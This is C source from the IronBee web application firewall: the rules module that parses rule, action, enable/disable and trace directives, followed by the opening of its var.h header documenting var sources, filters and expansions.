ib_rule_add_action(cp->ib, rule, action_inst, atype); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error adding action \"%s\" to rule \"%s\": %s", name, ib_rule_id(rule), ib_status_to_string(rc)); return rc; } return IB_OK; } /** * Check that a rule has all the proper modifiers. * * @param[in] cp The configuration parser * @param[in] rule The rule to check * * @returns IB_EINVAL. */ static ib_status_t check_rule_has_id(ib_cfgparser_t *cp, ib_rule_t *rule) { if ( ! ib_rule_is_chained(rule) && ib_rule_id(rule) == NULL) { ib_cfg_log_error(cp, "No rule id specified (flags=0x%04"PRIx64")", rule->flags); return IB_EINVAL; } return IB_OK; } /** * Parse a rule's modifier string. * * Parses the rule's modifier string @a modifier_str, and stores the results * in the rule object @a rule. * * @param[in] cp IronBee configuration parser * @param[in,out] rule Rule to operate on * @param[in] modifier_str Modifier string * * @returns Status code */ static ib_status_t parse_modifier(ib_cfgparser_t *cp, ib_rule_t *rule, const char *modifier_str) { ib_status_t rc = IB_OK; const char *name; char *colon; char *copy; const char *value = NULL; assert(cp != NULL); assert(rule != NULL); assert(modifier_str != NULL); /* Copy the string */ copy = ib_mm_strdup(ib_rule_mm(cp->ib), modifier_str); if (copy == NULL) { ib_cfg_log_error(cp, "Failed to copy rule modifier \"%s\".", modifier_str); return IB_EALLOC; } /* Modifier name */ name = copy; colon = strchr(copy, ':'); if ( (colon != NULL) && ( *(colon+1) != '\0' ) ) { *colon = '\0'; value = colon + 1; while( isspace(*value) ) { ++value; } if (*value == '\0') { value = NULL; } } /* ID modifier */ if (strcasecmp(name, "id") == 0) { if (value == NULL) { ib_cfg_log_error(cp, "Modifier ID with no value."); return IB_EINVAL; } rc = ib_rule_set_id(cp->ib, rule, value); return rc; } /* Message modifier */ if ( (strcasecmp(name, "msg") == 0) || (strcasecmp(name, "logdata") == 0) ) { bool is_msg = toupper(*name) == 'M'; /* Check the parameter */ rc = ib_rule_check_params(cp->ib, rule, value); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error checking %s parameter value \"%s\": %s", name, value == NULL ? "" : value, ib_status_to_string(rc)); return rc; } rc = ib_var_expand_acquire( (is_msg ? &(rule->meta.msg) : &(rule->meta.data)), ib_rule_mm(cp->ib), IB_S2SL(value == NULL ? "" : value), ib_engine_var_config_get(cp->ib) ); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error creating %s expansion value \"%s\": %s", name, value == NULL ? "" : value, ib_status_to_string(rc) ); return rc; } return IB_OK; } /* Tag modifier */ if (strcasecmp(name, "tag") == 0) { rc = ib_list_push(rule->meta.tags, (void *)value); return rc; } /* Severity modifier */ if (strcasecmp(name, "severity") == 0) { int severity = value ? atoi(value) : 0; if (severity > UINT8_MAX) { ib_cfg_log_error(cp, "Invalid severity: %s", value); return IB_EINVAL; } rule->meta.severity = (uint8_t)severity; return IB_OK; } /* Confidence modifier */ if (strcasecmp(name, "confidence") == 0) { int confidence = value ? atoi(value) : 0; if (confidence > UINT8_MAX) { ib_cfg_log_error(cp, "Invalid confidence: %s", value); return IB_EINVAL; } rule->meta.confidence = (uint8_t)confidence; return IB_OK; } /* Revision modifier */ if (strcasecmp(name, "rev") == 0) { int rev = value ? atoi(value) : 0; if ( (rev < 0) || (rev > UINT16_MAX) ) { ib_cfg_log_error(cp, "Invalid revision: %s", value); return IB_EINVAL; } rule->meta.revision = (uint16_t)rev; return IB_OK; } /* Phase modifiers (Not valid for stream rules) */ if (! ib_rule_is_stream(rule)) { ib_rule_phase_num_t phase = IB_PHASE_NONE; if (strcasecmp(name, "phase") == 0) { if (value == NULL) { ib_cfg_log_error(cp, "Modifier PHASE with no value."); return IB_EINVAL; } phase = ib_rule_lookup_phase(value, false); if (phase == IB_PHASE_INVALID) { ib_cfg_log_error(cp, "Invalid phase: %s", value); return IB_EINVAL; } } else { ib_rule_phase_num_t tphase; tphase = ib_rule_lookup_phase(name, false); if (tphase != IB_PHASE_INVALID) { phase = tphase; } } /* If we encountered a phase modifier, set it */ if (phase != IB_PHASE_NONE && phase != IB_PHASE_INVALID) { rc = ib_rule_set_phase(cp->ib, rule, phase); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error setting rule phase: %s", ib_status_to_string(rc)); return rc; } return IB_OK; } /* Not a phase modifier, so don't return */ } /* Chain modifier */ if ( (ib_rule_allow_chain(rule)) && (strcasecmp(name, "chain") == 0) ) { rc = ib_rule_set_chain(cp->ib, rule); return rc; } /* Capture modifier */ if (strcasecmp(name, "capture") == 0) { rc = ib_rule_set_capture(cp->ib, rule, value); if (rc == IB_ENOTIMPL) { ib_cfg_log_error(cp, "Capture not supported by operator %s.", ib_operator_name( ib_operator_inst_operator( rule->opinst->opinst))); return IB_EINVAL; } else if (rc != IB_OK) { ib_cfg_log_error(cp, "Error enabling capture: %s", ib_status_to_string(rc)); return rc; } return IB_OK; } /* Finally, try to match it to an action */ rc = register_action_modifier(cp, rule, name, value); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error registering action \"%s\": %s", name, ib_status_to_string(rc)); return rc; } return rc; } /** * Parse a RuleExt directive. * * Register lua function. RuleExt lua:/path/to/rule.lua phase:REQUEST * * @param[in,out] cp Configuration parser that contains the engine being * configured. * @param[in] name The directive name. * @param[in] vars The list of variables passed to @a name. * @param[in] cbdata User data. Unused. */ static ib_status_t parse_ruleext_params(ib_cfgparser_t *cp, const char *name, const ib_list_t *vars, void *cbdata) { ib_status_t rc; const ib_list_node_t *targets; const ib_list_node_t *mod; ib_rule_t *rule; const char *file_name; const char *colon; const char *tag; const char *location; /* Get the targets string */ targets = ib_list_first_const(vars); file_name = (const char *)ib_list_node_data_const(targets); if ( file_name == NULL ) { ib_cfg_log_error(cp, "No targets for rule."); return IB_EINVAL; } ib_cfg_log_debug3(cp, "Processing external rule: %s", file_name); /* Allocate a rule */ rc = ib_rule_create(cp->ib, cp->cur_ctx, cp->curr->file, cp->curr->line, false, &rule); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error creating rule: %s", ib_status_to_string(rc)); return rc; } ib_flags_set(rule->flags, (IB_RULE_FLAG_EXTERNAL | IB_RULE_FLAG_NO_TGT)); /* Parse all of the modifiers */ mod = targets; while( (mod = ib_list_node_next_const(mod)) != NULL) { rc = parse_modifier(cp, rule, mod->data); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error parsing external rule modifier \"%s\": %s", (const char *)mod->data, ib_status_to_string(rc) ); return rc; } } /* Check the rule modifiers. */ rc = check_rule_has_id(cp, rule); if (rc != IB_OK) { return rc; } /* Using the rule->meta and file_name, load and stage the ext rule. */ ib_rule_driver_t *driver; colon = strchr(file_name, ':'); if (colon == NULL) { ib_cfg_log_error(cp, "Error parsing external rule location %s: No colon found.", file_name ); return IB_EINVAL; } tag = ib_mm_memdup_to_str(cp->mm, file_name, colon - file_name); if (tag == NULL) { return IB_EALLOC; } location = ib_util_relative_file(cp->mm, cp->curr->file, colon + 1); if (location == NULL) { return IB_EALLOC; } rc = ib_rule_lookup_external_driver(cp->ib, tag, &driver); if (rc != IB_ENOENT) { rc = driver->function(cp, rule, tag, location, driver->cbdata); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error in external rule driver for \"%s\": %s", tag, ib_status_to_string(rc) ); return rc; } } else { ib_cfg_log_error(cp, "No external rule driver for \"%s\"", tag); return IB_EINVAL; } /* Finally, register the rule */ rc = ib_rule_register(cp->ib, cp->cur_ctx, rule); if (rc == IB_EEXIST) { ib_cfg_log_warning(cp, "Not overwriting existing rule"); return IB_OK; } else if (rc != IB_OK) { ib_cfg_log_error(cp, "Error registering rule: %s", ib_status_to_string(rc)); return rc; } /* Disable the entire chain if this rule is invalid */ if ( (rule->flags & IB_RULE_FLAG_VALID) == 0) { rc = ib_rule_chain_invalidate(cp->ib, cp->cur_ctx, rule); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error invalidating rule chain: %s", ib_status_to_string(rc)); return rc; } } ib_cfg_log_debug(cp, "Registered external rule \"%s\" for " "phase \"%s\" context \"%s\"", ib_rule_id(rule), ib_rule_phase_name(rule->meta.phase), ib_context_full_get(cp->cur_ctx)); /* Done */ return IB_OK; } /** * Parse a Rule directive. * * Register a Rule directive to the engine. * * @param[in,out] cp Configuration parser that contains the engine being * configured. * @param[in] name The directive name. * @param[in] vars The list of variables passed to @a name. * @param[in] cbdata User data. Unused. */ static ib_status_t parse_rule_params(ib_cfgparser_t *cp, const char *name, const ib_list_t *vars, void *cbdata) { ib_status_t rc; const ib_list_node_t *node; const char *nodestr; const char *operator; const char *operand; ib_rule_t *rule = NULL; int targets = 0; if (cbdata != NULL) { } /* Allocate a rule */ rc = ib_rule_create(cp->ib, cp->cur_ctx, cp->curr->file, cp->curr->line, false, &rule); if (rc != IB_OK) { ib_cfg_log_error(cp, "Failed to allocate rule: %s", ib_status_to_string(rc)); goto cleanup; } /* Loop through the targets, stop when we encounter an operator */ IB_LIST_LOOP_CONST(vars, node) { if (node->data == NULL) { ib_cfg_log_error(cp, "Found invalid rule target"); rc = IB_EINVAL; goto cleanup; } nodestr = (const char *)node->data; if ( (*nodestr == '@') || ((*nodestr != '\0') && (*(nodestr+1) == '@')) ) { break; } rc = parse_target(cp, rule, nodestr); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error parsing rule target \"%s\": %s", nodestr, ib_status_to_string(rc)); goto cleanup; } ++targets; } /* No targets??? */ if (targets == 0) { ib_cfg_log_error(cp, "No rule targets found"); rc = IB_EINVAL; goto cleanup; } /* Verify that we have an operator and operand */ if ( (node == NULL) || (node-> data == NULL) ) { ib_cfg_log_error(cp, "No rule operator found"); rc = IB_EINVAL; goto cleanup; } operator = (const char *)node->data; node = ib_list_node_next_const(node); if ( (node == NULL) || (node-> data == NULL) ) { ib_cfg_log_error(cp, "No rule operand found"); rc = IB_EINVAL; goto cleanup; } operand = (const char *)node->data; /* Parse the operator */ rc = parse_operator(cp, rule, operator, operand, false); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error parsing rule operator \"%s\": %s", operator, ib_status_to_string(rc)); goto cleanup; } /* Parse all of the modifiers */ while( (node = ib_list_node_next_const(node)) != NULL) { if (node->data == NULL) { ib_cfg_log_error(cp, "Found invalid rule modifier"); rc = IB_EINVAL; goto cleanup; } nodestr = (const char *)node->data; rc = parse_modifier(cp, rule, nodestr); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error parsing rule modifier \"%s\": %s", nodestr, ib_status_to_string(rc)); goto cleanup; } } /* Check the rule modifiers. */ rc = check_rule_has_id(cp, rule); if (rc != IB_OK) { return rc; } /* Finally, register the rule */ rc = ib_rule_register(cp->ib, cp->cur_ctx, rule); if (rc == IB_EEXIST) { ib_cfg_log_warning(cp, "Not overwriting existing rule"); rc = IB_OK; } else if (rc != IB_OK) { ib_cfg_log_error(cp, "Error registering rule: %s", ib_status_to_string(rc)); goto cleanup; } /* Disable the entire chain if this rule is invalid */ cleanup: if ((rule != NULL) && ((rule->flags & IB_RULE_FLAG_VALID) == 0)) { ib_status_t irc = ib_rule_chain_invalidate(cp->ib, cp->cur_ctx, rule); if (irc != IB_OK) { ib_cfg_log_error(cp, "Error invalidating rule chain: %s", ib_status_to_string(irc)); return rc; } else { const char *chain = \ rule->meta.chain_id == NULL ? "UNKNOWN" : rule->meta.chain_id; ib_cfg_log_debug2(cp, "Invalidated all rules in chain \"%s\"", chain); } } /* Done */ return rc; } /** * Parse a StreamInspect directive. * * Register the StreamInspect directive to the engine. * * @param[in,out] cp Configuration parser that contains the engine being * configured. * @param[in] name The directive name. * @param[in] vars The list of variables passed to @a name. * @param[in] cbdata User data. Unused. */ static ib_status_t parse_streaminspect_params(ib_cfgparser_t *cp, const char *name, const ib_list_t *vars, void *cbdata) { ib_status_t rc; const ib_list_node_t *node; ib_rule_phase_num_t phase = IB_PHASE_INVALID; const char *str; const char *operator; const char *operand; ib_rule_t *rule; /* Get the phase string */ node = ib_list_first_const(vars); if ( (node == NULL) || (node->data == NULL) ) { ib_cfg_log_error(cp, "No stream for StreamInspect"); return IB_EINVAL; } str = node->data; /* Lookup the phase name */ phase = ib_rule_lookup_phase(str, true); if (phase == IB_PHASE_INVALID) { ib_cfg_log_error(cp, "Invalid phase: %s", str); return IB_EINVAL; } /* Get the operator string */ node = ib_list_node_next_const(node); if ( (node == NULL) || (node->data == NULL) ) { ib_cfg_log_error(cp, "No operator for rule"); return IB_EINVAL; } operator = (const char *)node->data; /* Allocate a rule */ rc = ib_rule_create(cp->ib, cp->cur_ctx, cp->curr->file, cp->curr->line, true, &rule); if (rc != IB_OK) { ib_cfg_log_error(cp, "Failed to create rule: %s", ib_status_to_string(rc)); return rc; } ib_flags_set(rule->flags, IB_RULE_FLAG_NO_TGT); /* Set the rule's stream */ rc = ib_rule_set_phase(cp->ib, rule, phase); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error setting rule phase: %s", ib_status_to_string(rc)); return rc; } /* Verify that we have an operand */ node = ib_list_node_next_const(node); if ( (node == NULL) || (node-> data == NULL) ) { ib_cfg_log_error(cp, "No rule operand found"); return rc; } operand = (const char *)node->data; /* Parse the operator */ rc = parse_operator(cp, rule, operator, operand, true); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error parsing rule operator \"%s\": %s", operator, ib_status_to_string(rc)); return rc; } /* Parse all of the modifiers */ while( (node = ib_list_node_next_const(node)) != NULL) { rc = parse_modifier(cp, rule, node->data); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error parsing stream rule modifier \"%s\": %s", (const char *)node->data, ib_status_to_string(rc)); return rc; } } /* Finally, register the rule */ rc = ib_rule_register(cp->ib, cp->cur_ctx, rule); if (rc == IB_EEXIST) { ib_cfg_log_warning(cp, "Not overwriting existing rule."); return IB_OK; } else if (rc != IB_OK) { ib_cfg_log_error(cp, "Error registering rule: %s", ib_status_to_string(rc)); return rc; } /* Done */ return IB_OK; } /** * Parse a RuleEnable directive. * * Handle the RuleEnable directive to the engine. * * @param[in,out] cp Configuration parser that contains the engine being * configured. * @param[in] name The directive name. * @param[in] vars The list of variables passed to @c name. * @param[in] cbdata User data. Unused. */ static ib_status_t parse_ruleenable_params(ib_cfgparser_t *cp, const char *name, const ib_list_t *vars, void *cbdata) { const ib_list_node_t *node; ib_status_t rc = IB_OK; if (cbdata != NULL) { } /* Loop through all of the parameters in the list */ IB_LIST_LOOP_CONST(vars, node) { const char *param = (const char *)node->data; if (strcasecmp(param, "all") == 0) { rc = ib_rule_enable_all(cp->ib, cp->cur_ctx, cp->curr->file, cp->curr->line); } else if (strncasecmp(param, "id:", 3) == 0) { const char *id = param + 3; rc = ib_rule_enable_id(cp->ib, cp->cur_ctx, cp->curr->file, cp->curr->line, id); } else if (strncasecmp(param, "tag:", 4) == 0) { const char *tag = param + 4; rc = ib_rule_enable_tag(cp->ib, cp->cur_ctx, cp->curr->file, cp->curr->line, tag); } else { ib_cfg_log_error(cp, "Invalid %s parameter \"%s\"", name, param); rc = IB_EINVAL; continue; } } /* Done */ return rc; } /** * Parse a RuleDisable directive. * * Handle the RuleDisable directive to the engine. * * @param[in,out] cp Configuration parser that contains the engine being * configured. * @param[in] name The directive name. * @param[in] vars The list of variables passed to @c name. * @param[in] cbdata User data. Unused. */ static ib_status_t parse_ruledisable_params(ib_cfgparser_t *cp, const char *name, const ib_list_t *vars, void *cbdata) { const ib_list_node_t *node; ib_status_t rc = IB_OK; if (cbdata != NULL) { } /* Loop through all of the parameters in the list */ IB_LIST_LOOP_CONST(vars, node) { const char *param = (const char *)node->data; if (strcasecmp(param, "all") == 0) { rc = ib_rule_disable_all(cp->ib, cp->cur_ctx, cp->curr->file, cp->curr->line); } else if (strncasecmp(param, "id:", 3) == 0) { const char *id = param + 3; rc = ib_rule_disable_id(cp->ib, cp->cur_ctx, cp->curr->file, cp->curr->line, id); } else if (strncasecmp(param, "tag:", 4) == 0) { const char *tag = param + 4; rc = ib_rule_disable_tag(cp->ib, cp->cur_ctx, cp->curr->file, cp->curr->line, tag); } else { ib_cfg_log_error(cp, "Invalid %s parameter \"%s\"", name, param); rc = IB_EINVAL; continue; } } /* Done */ return rc; } /** * Parse a RuleMarker directive. * * Register a RuleMarker directive to the engine. * * @param[in,out] cp Configuration parser that contains the engine being * configured. * @param[in] name The directive name. * @param[in] vars The list of variables passed to @a name. * @param[in] cbdata User data. Unused. */ static ib_status_t parse_rulemarker_params(ib_cfgparser_t *cp, const char *name, const ib_list_t *vars, void *cbdata) { ib_status_t rc; const ib_list_node_t *node; ib_rule_t *rule = NULL; if (cbdata != NULL) { } /* Allocate a rule */ rc = ib_rule_create(cp->ib, cp->cur_ctx, cp->curr->file, cp->curr->line, false, &rule); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error allocating rule: %s", ib_status_to_string(rc)); return rc; } ib_flags_set(rule->flags, IB_RULE_FLAG_ACTION); /* Force the operator to one that will not execute (negated nop). */ rc = parse_operator(cp, rule, "!@nop", NULL, false); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error parsing rule operator \"nop\": %s", ib_status_to_string(rc)); return rc; } /* Parse all of the modifiers, only allowing id and phase. */ IB_LIST_LOOP_CONST(vars, node) { const char *param = (const char *)node->data; if ( (strncasecmp(param, "id:", 3) == 0) || (strncasecmp(param, "phase:", 6) == 0)) { rc = parse_modifier(cp, rule, node->data); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error parsing %s modifier \"%s\": %s", name, (const char *)node->data, ib_status_to_string(rc)); return rc; } } else { ib_cfg_log_error(cp, "Invalid %s parameter \"%s\"", name, param); return IB_EINVAL; } } /* Force a zero revision so it can always be overridden. */ rc = parse_modifier(cp, rule, "rev:0"); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error parsing %s modifier \"rev:0\": %s", name, ib_status_to_string(rc)); return rc; } /* Check the rule modifiers. */ rc = check_rule_has_id(cp, rule); if (rc != IB_OK) { return rc; } /* Finally, register the rule. */ rc = ib_rule_register(cp->ib, cp->cur_ctx, rule); if (rc == IB_EEXIST) { ib_cfg_log_notice(cp, "Not overwriting existing rule."); rc = IB_OK; } else if (rc != IB_OK) { ib_cfg_log_error(cp, "Error registering rule marker: %s", ib_status_to_string(rc)); } return rc; } /** * Parse an Action directive. * * Register an Action directive to the engine. * * @param[in,out] cp Configuration parser that contains the engine being * configured. * @param[in] name The directive name. * @param[in] vars The list of variables passed to @a name. * @param[in] cbdata User data. Unused. */ static ib_status_t parse_action_params(ib_cfgparser_t *cp, const char *name, const ib_list_t *vars, void *cbdata) { ib_status_t rc; const ib_list_node_t *node; ib_rule_t *rule = NULL; if (cbdata != NULL) { } /* Allocate a rule */ rc = ib_rule_create(cp->ib, cp->cur_ctx, cp->curr->file, cp->curr->line, false, &rule); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error allocating rule: %s", ib_status_to_string(rc)); goto cleanup; } ib_flags_set(rule->flags, IB_RULE_FLAG_ACTION); /* Parse the operator */ rc = parse_operator(cp, rule, "@nop", NULL, false); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error parsing rule operator \"nop\": %s", ib_status_to_string(rc)); goto cleanup; } /* Parse all of the modifiers */ IB_LIST_LOOP_CONST(vars, node) { rc = parse_modifier(cp, rule, node->data); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error parsing action modifier \"%s\": %s", (const char *)node->data, ib_status_to_string(rc)); goto cleanup; } } /* Check the rule modifiers. */ rc = check_rule_has_id(cp, rule); if (rc != IB_OK) { return rc; } /* Finally, register the rule */ rc = ib_rule_register(cp->ib, cp->cur_ctx, rule); if (rc == IB_EEXIST) { ib_cfg_log_warning(cp, "Not overwriting existing rule."); rc = IB_OK; } else if (rc != IB_OK) { ib_cfg_log_error(cp, "Error registering rule: %s", ib_status_to_string(rc)); goto cleanup; } /* Disable the entire chain if this rule is invalid */ cleanup: if ((rule != NULL) && ((rule->flags & IB_RULE_FLAG_VALID) == 0)) { ib_status_t irc = ib_rule_chain_invalidate(cp->ib, cp->cur_ctx, rule); if (irc != IB_OK) { ib_cfg_log_error(cp, "Error invalidating rule chain: %s", ib_status_to_string(irc)); return rc; } else { const char *chain = \ rule->meta.chain_id == NULL ? "UNKNOWN" : rule->meta.chain_id; ib_cfg_log_debug2(cp, "Invalidated all rules in chain \"%s\".", chain); } } /* Done */ return rc; } /* ifdef is because only rule tracing code currently uses this method. Remove * ifdef if used outside of rule tracing. */ #ifdef IB_RULE_TRACE /** * Fetch per-context configuration for @a ctx. * * @param[in] ctx Context to fetch configuration for. * @return Fetch configuration. **/ static per_context_t *fetch_per_context(ib_context_t *ctx) { assert(ctx != NULL); ib_status_t rc; per_context_t *per_context = NULL; ib_module_t *module = NULL; rc = ib_engine_module_get( ib_context_get_engine(ctx), MODULE_NAME_STR, &module ); assert(rc == IB_OK); rc = ib_context_module_config(ctx, module, &per_context); assert(rc == IB_OK); return per_context; } #endif /** * Parse RuleTrace directive. * * Outputs warning if IB_RULE_TRACE not defined. * * @param[in] cp Configuration parser. * @param[in] name Name of directive. * @param[in] rule_id Parameter; ID of rule to trace. * @param[in] cbdata Callback data; Unused. * @returns IB_OK on success; IB_E* on error. **/ static ib_status_t parse_ruletrace_params( ib_cfgparser_t *cp, const char *name, const char *rule_id, void *cbdata ) { assert(cp != NULL); assert(rule_id != NULL); #ifdef IB_RULE_TRACE ib_mm_t mm = ib_engine_mm_main_get(cp->ib); ib_status_t rc; ib_rule_t *rule; per_context_t *per_context = fetch_per_context(cp->cur_ctx); rc = ib_rule_lookup(cp->ib, cp->cur_ctx, rule_id, &rule); if (rc == IB_ENOENT) { ib_cfg_log_error( cp, "RuleTrace could not find rule with id: %s", rule_id ); return IB_ENOENT; } else if (rc != IB_OK) { ib_cfg_log_error( cp, "RuleTrace experienced unexpected error looking up rule: %s (%s)", rule_id, ib_status_to_string(rc) ); return rc; } ib_flags_set(rule->flags, IB_RULE_FLAG_TRACE); if (per_context->trace_rules == NULL) { rc = ib_list_create(&per_context->trace_rules, mm); if (rc != IB_OK) { ib_cfg_log_error( cp, "RuleTrace could not create traced rules list: %s (%s)", rule_id, ib_status_to_string(rc) ); return rc; } } rc = ib_list_push(per_context->trace_rules, rule); if (rc != IB_OK) { ib_cfg_log_error( cp, "RuleTrace could not pushed traced rules: %s (%s)", rule_id, ib_status_to_string(rc) ); return rc; } return IB_OK; #else ib_cfg_log_warning( cp, "IronBee compiled without rule tracing. " "RuleTrace will have no effect." ); return IB_OK; #endif } /** * Parse RuleTraceFile directive. * * Outputs warning if IB_RULE_TRACE not defined. * * @param[in] cp Configuration parser. * @param[in] name Name of directive. * @param[in] path Path to write traces to. * @param[in] cbdata Callback data; Unused. * @returns IB_OK on success; IB_E* on error. **/ static ib_status_t parse_ruletracefile_params( ib_cfgparser_t *cp, const char *name, const char *path, void *cbdata ) { #ifdef IB_RULE_TRACE per_context_t *per_context = fetch_per_context(cp->cur_ctx); per_context->trace_path = path; return IB_OK; #else ib_cfg_log_warning( cp, "IronBee compiled without rule tracing. " "RuleTraceFile will have no effect." ); return IB_OK; #endif } /** * Handle postprocessing. * * Does nothing unless IB_RULE_TRACE is defined, in which case, outputs * traces. * * @param[in] ib IronBee engine. * @param[in] tx Transaction. * @param[in] state State. * @param[in] cbdata Callback data; unused. * @returns IB_OK on success; IB_EOTHER on file system failure. **/ static ib_status_t postprocess( ib_engine_t *ib, ib_tx_t *tx, ib_state_t state, void *cbdata ) { assert(ib != NULL); assert(tx != NULL); #ifdef IB_RULE_TRACE per_context_t *per_context = fetch_per_context(tx->ctx); if (per_context->trace_rules != NULL) { ib_list_node_t *node; FILE *trace_fp = stderr; if (per_context->trace_path) { trace_fp = fopen(per_context->trace_path, "a"); if (trace_fp == NULL) { ib_log_error_tx( tx, "Failed to open trace file: %s", per_context->trace_path ); return IB_EOTHER; } } IB_LIST_LOOP(per_context->trace_rules, node) { const ib_rule_t *rule = (const ib_rule_t *)ib_list_node_data_const(node); fprintf(trace_fp, "%s,%d,%s,%d,%s,%s,%zd,%" PRIu64 "\n", tx->conn->local_ipstr, tx->conn->local_port, tx->conn->remote_ipstr, tx->conn->remote_port, tx->id, rule->meta.full_id, tx->rule_exec->traces[rule->meta.index].evaluation_n, tx->rule_exec->traces[rule->meta.index].evaluation_time ); } } #endif return IB_OK; } /** * Initialize module. * * @param[in] ib IronBee engine. * @param[in] m Module. * @param[in] cbdata Callback data; unused. * @returns IB_OK **/ static ib_status_t rules_init( ib_engine_t *ib, ib_module_t *m, void *cbdata ) { assert(ib != NULL); ib_hook_tx_register( ib, handle_postprocess_state, postprocess, NULL ); return IB_OK; } static IB_DIRMAP_INIT_STRUCTURE(rules_directive_map) = { /* Give the config parser a callback for the Rule and RuleExt directive */ IB_DIRMAP_INIT_LIST( "Rule", parse_rule_params, NULL ), IB_DIRMAP_INIT_LIST( "RuleExt", parse_ruleext_params, NULL ), IB_DIRMAP_INIT_LIST( "RuleMarker", parse_rulemarker_params, NULL ), IB_DIRMAP_INIT_LIST( "StreamInspect", parse_streaminspect_params, NULL ), IB_DIRMAP_INIT_LIST( "RuleEnable", parse_ruleenable_params, NULL ), IB_DIRMAP_INIT_LIST( "RuleDisable", parse_ruledisable_params, NULL ), IB_DIRMAP_INIT_LIST( "Action", parse_action_params, NULL ), IB_DIRMAP_INIT_PARAM1( "RuleTrace", parse_ruletrace_params, NULL ), IB_DIRMAP_INIT_PARAM1( "RuleTraceFile", parse_ruletracefile_params, NULL ), /* signal the end of the list */ IB_DIRMAP_INIT_LAST }; /* Initialize the module structure. */ IB_MODULE_INIT( IB_MODULE_HEADER_DEFAULTS, /* Default metadata */ MODULE_NAME_STR, /* Module name */ IB_MODULE_CONFIG(&c_per_context_initial), /* Global config data */ NULL, /* Configuration field map */ rules_directive_map, /* Config directive map */ rules_init, /* Initialize function */ NULL, /* Callback data */ NULL, /* Finish function */ NULL, /* Callback data */ );
crustymonkey/ironbee
include/ironbee/var.h
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ #ifndef _IB_VAR_H_ #define _IB_VAR_H_ #include <ironbee/field.h> #include <ironbee/mm.h> #include <ironbee/rule_defs.h> #ifdef __cplusplus extern "C" { #endif /** * @file * @brief IronBee --- Var Support * * @author <NAME> <<EMAIL>> */ /** * @defgroup IronBeeEngineVar Var Support * @ingroup IronBeeEngine * * Var sources, filters, and targets. * * This API covers var sources, var filters, and var targets, known as * vars, filters, and targets, respectively, in the rule language. * * **Key Concepts and Types:** * * - @ref ib_var_config_t -- Configuration. A set of var sources. * - @ref ib_var_store_t -- Store. A mapping of sources to values. * - @ref ib_var_source_t -- Source. A name and associated metadata. * - @ref ib_var_filter_t -- Filter. A description of which subkey to get * from a field. * - @ref ib_var_target_t -- Target. A var source and filter (possibly * empty). * - @ref ib_var_expand_t -- Expand. A description of how to construct a * string out of targets. * * **APIs:** * * The API is divided into six sections: * * - @ref IronBeeEngineVarConfiguration -- Acquire a configuration. * - @ref IronBeeEngineVarStore -- Acquire a store. * - @ref IronBeeEngineVarSource -- Register, acquire, get, or set sources. * This API is the fundamental service provided by the var code. All later * APIs are defined in terms of it and the field API. * - @ref IronBeeEngineVarFilter -- Acquire and apply filters to fields; * parse filter specification strings. * - @ref IronBeeEngineVarTarget -- Acquire and apply targets; parse target * specification strings. * - @ref IronBeeEngineVarExpand -- Expand strings containing embedded target * references. * * **Pre-Computation:** * * A theme of the APIs here are the separation into pre-computation and * execution, pushing as much work as possible to configuration time. For * example, when the source name is known at configuration time, it can be * converted into an @ref ib_var_source_t allowing gets (but not sets) to * be executed at evaluation time in constant time. Similar behavior is * available for filters, targets, and expands. All such pre-computation * routines have `acquire` in the name, e.g., ib_var_store_acquire(). * Whenever possible, acquire at configuration time. * * **Performance:** * * Generally, acquisition is slow but use of an acquired object is fast. The * main exception is write access which is as slow as acquisition. * * @{ */ /** * A set of var sources. * * A var store will be defined in terms of a var configuration. **/ typedef struct ib_var_config_t ib_var_config_t; /** * A source of var in an @ref ib_var_store_t. * * From the purposes of getting and setting values, a var source is * semantically equivalent to its name. The main advantage gained from a * source is the ability to *get* in constant time (sets remain slow). * * The other purpose of a var source is to associate metavar with a var * source. At present, the metavar is the initial phase the source takes a * value and the last phase it may be change that value in. **/ typedef struct ib_var_source_t ib_var_source_t; /** * A map of var source to value. * * A var store is associated with a var configuration and holds the values * for the sources in that configuration. These values are held such that * indexed sources can get their value in constant time. * * A store has an associated memory manager which may be used to creating * fields to use as values that have the same lifetime as the store. */ typedef struct ib_var_store_t ib_var_store_t; /** * A selection criteria to apply to a list of fields. **/ typedef struct ib_var_filter_t ib_var_filter_t; /** * A source and (possibly trivial) filter. **/ typedef struct ib_var_target_t ib_var_target_t; /** * A prepared string expansion. **/ typedef struct ib_var_expand_t ib_var_expand_t; /** * @defgroup IronBeeEngineVarConfiguration Var Configuration * * Set of sources. * * @{ **/ /** * Acquire new var configuration. * * @param[out] config The new var configuration. * @param[in] mm Memory manager to use. * @returns * - IB_OK on success. * - IB_EALLOC on allocation failure. **/ ib_status_t DLL_PUBLIC ib_var_config_acquire( ib_var_config_t **config, ib_mm_t mm ) NONNULL_ATTRIBUTE(1); /** * Access memory manager of @a config. **/ ib_mm_t DLL_PUBLIC ib_var_config_mm( const ib_var_config_t *config ) NONNULL_ATTRIBUTE(1); /**@}*/ /** 